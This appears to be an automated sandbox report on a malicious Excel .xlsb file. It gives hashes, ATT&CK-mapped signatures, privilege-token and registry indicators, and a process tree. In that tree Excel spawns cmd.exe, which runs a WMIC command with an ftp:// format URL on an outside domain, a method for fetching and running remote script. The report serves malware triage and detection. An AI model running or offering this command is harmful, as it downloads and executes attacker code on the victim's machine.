855656bfecc359a1816437223c4a133359e73ecf45acda667610fbe7875ab3c8

General

Target

b846fa8bc3a55fa0490a807186a8ece9.xlsb
Size

79KB
MD5

b846fa8bc3a55fa0490a807186a8ece9
SHA1

c0c6b99796d732fa53402ff49fd241612a340229
SHA256

855656bfecc359a1816437223c4a133359e73ecf45acda667610fbe7875ab3c8
SHA512

18fb97b1a198b4a1336d52e5a363b44ef2d73875fe3b9f6828349403a2b80bcb8e432a37f4672d0f4224d70f28d5112ee897da692e1dc3a02edbf55576b64681
SSDEEP

1536:s1YKo7aGH8sVHLPzWm4z5eDr6tMEpQGzGo+47hPOV4ko+dNT6MuSS98X:+o7VcsVrd4zC6tMEpso+eE/eMzS6

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3344	444	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

444 EXCEL.EXE

Suspicious use of AdjustPrivilegeToken 42 IoCs

Processes:

WMIC.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	4716	WMIC.exe
Token: SeSecurityPrivilege	4716	WMIC.exe
Token: SeTakeOwnershipPrivilege	4716	WMIC.exe
Token: SeLoadDriverPrivilege	4716	WMIC.exe
Token: SeSystemProfilePrivilege	4716	WMIC.exe
Token: SeSystemtimePrivilege	4716	WMIC.exe
Token: SeProfSingleProcessPrivilege	4716	WMIC.exe
Token: SeIncBasePriorityPrivilege	4716	WMIC.exe
Token: SeCreatePagefilePrivilege	4716	WMIC.exe
Token: SeBackupPrivilege	4716	WMIC.exe
Token: SeRestorePrivilege	4716	WMIC.exe
Token: SeShutdownPrivilege	4716	WMIC.exe
Token: SeDebugPrivilege	4716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4716	WMIC.exe
Token: SeRemoteShutdownPrivilege	4716	WMIC.exe
Token: SeUndockPrivilege	4716	WMIC.exe
Token: SeManageVolumePrivilege	4716	WMIC.exe
Token: 33	4716	WMIC.exe
Token: 34	4716	WMIC.exe
Token: 35	4716	WMIC.exe
Token: 36	4716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4716	WMIC.exe
Token: SeSecurityPrivilege	4716	WMIC.exe
Token: SeTakeOwnershipPrivilege	4716	WMIC.exe
Token: SeLoadDriverPrivilege	4716	WMIC.exe
Token: SeSystemProfilePrivilege	4716	WMIC.exe
Token: SeSystemtimePrivilege	4716	WMIC.exe
Token: SeProfSingleProcessPrivilege	4716	WMIC.exe
Token: SeIncBasePriorityPrivilege	4716	WMIC.exe
Token: SeCreatePagefilePrivilege	4716	WMIC.exe
Token: SeBackupPrivilege	4716	WMIC.exe
Token: SeRestorePrivilege	4716	WMIC.exe
Token: SeShutdownPrivilege	4716	WMIC.exe
Token: SeDebugPrivilege	4716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4716	WMIC.exe
Token: SeRemoteShutdownPrivilege	4716	WMIC.exe
Token: SeUndockPrivilege	4716	WMIC.exe
Token: SeManageVolumePrivilege	4716	WMIC.exe
Token: 33	4716	WMIC.exe
Token: 34	4716	WMIC.exe
Token: 35	4716	WMIC.exe
Token: 36	4716	WMIC.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

444 EXCEL.EXE
444 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE
444	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 444 wrote to memory of 3344	444	EXCEL.EXE	cmd.exe
PID 444 wrote to memory of 3344	444	EXCEL.EXE	cmd.exe
PID 3344 wrote to memory of 4716	3344	cmd.exe	WMIC.exe
PID 3344 wrote to memory of 4716	3344	cmd.exe	WMIC.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b846fa8bc3a55fa0490a807186a8ece9.xlsb"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:444

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /cwmic os get/format:"ftp://0:0@trip.greenulz.com/profile/frontend"
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3344

C:\Windows\System32\Wbem\WMIC.exe
wmic os get/format:"ftp://0:0@trip.greenulz.com/profile/frontend"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4716

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/444-133-0x00007FFE98C30000-0x00007FFE98C40000-memory.dmp

Filesize
64KB

Download
memory/444-135-0x00007FFE98C30000-0x00007FFE98C40000-memory.dmp

Filesize
64KB

Download
memory/444-134-0x00007FFE98C30000-0x00007FFE98C40000-memory.dmp

Filesize
64KB

Download
memory/444-136-0x00007FFE98C30000-0x00007FFE98C40000-memory.dmp

Filesize
64KB

Download
memory/444-137-0x00007FFE98C30000-0x00007FFE98C40000-memory.dmp

Filesize
64KB

Download
memory/444-138-0x00007FFE96750000-0x00007FFE96760000-memory.dmp

Filesize
64KB

Download
memory/444-139-0x00007FFE96750000-0x00007FFE96760000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads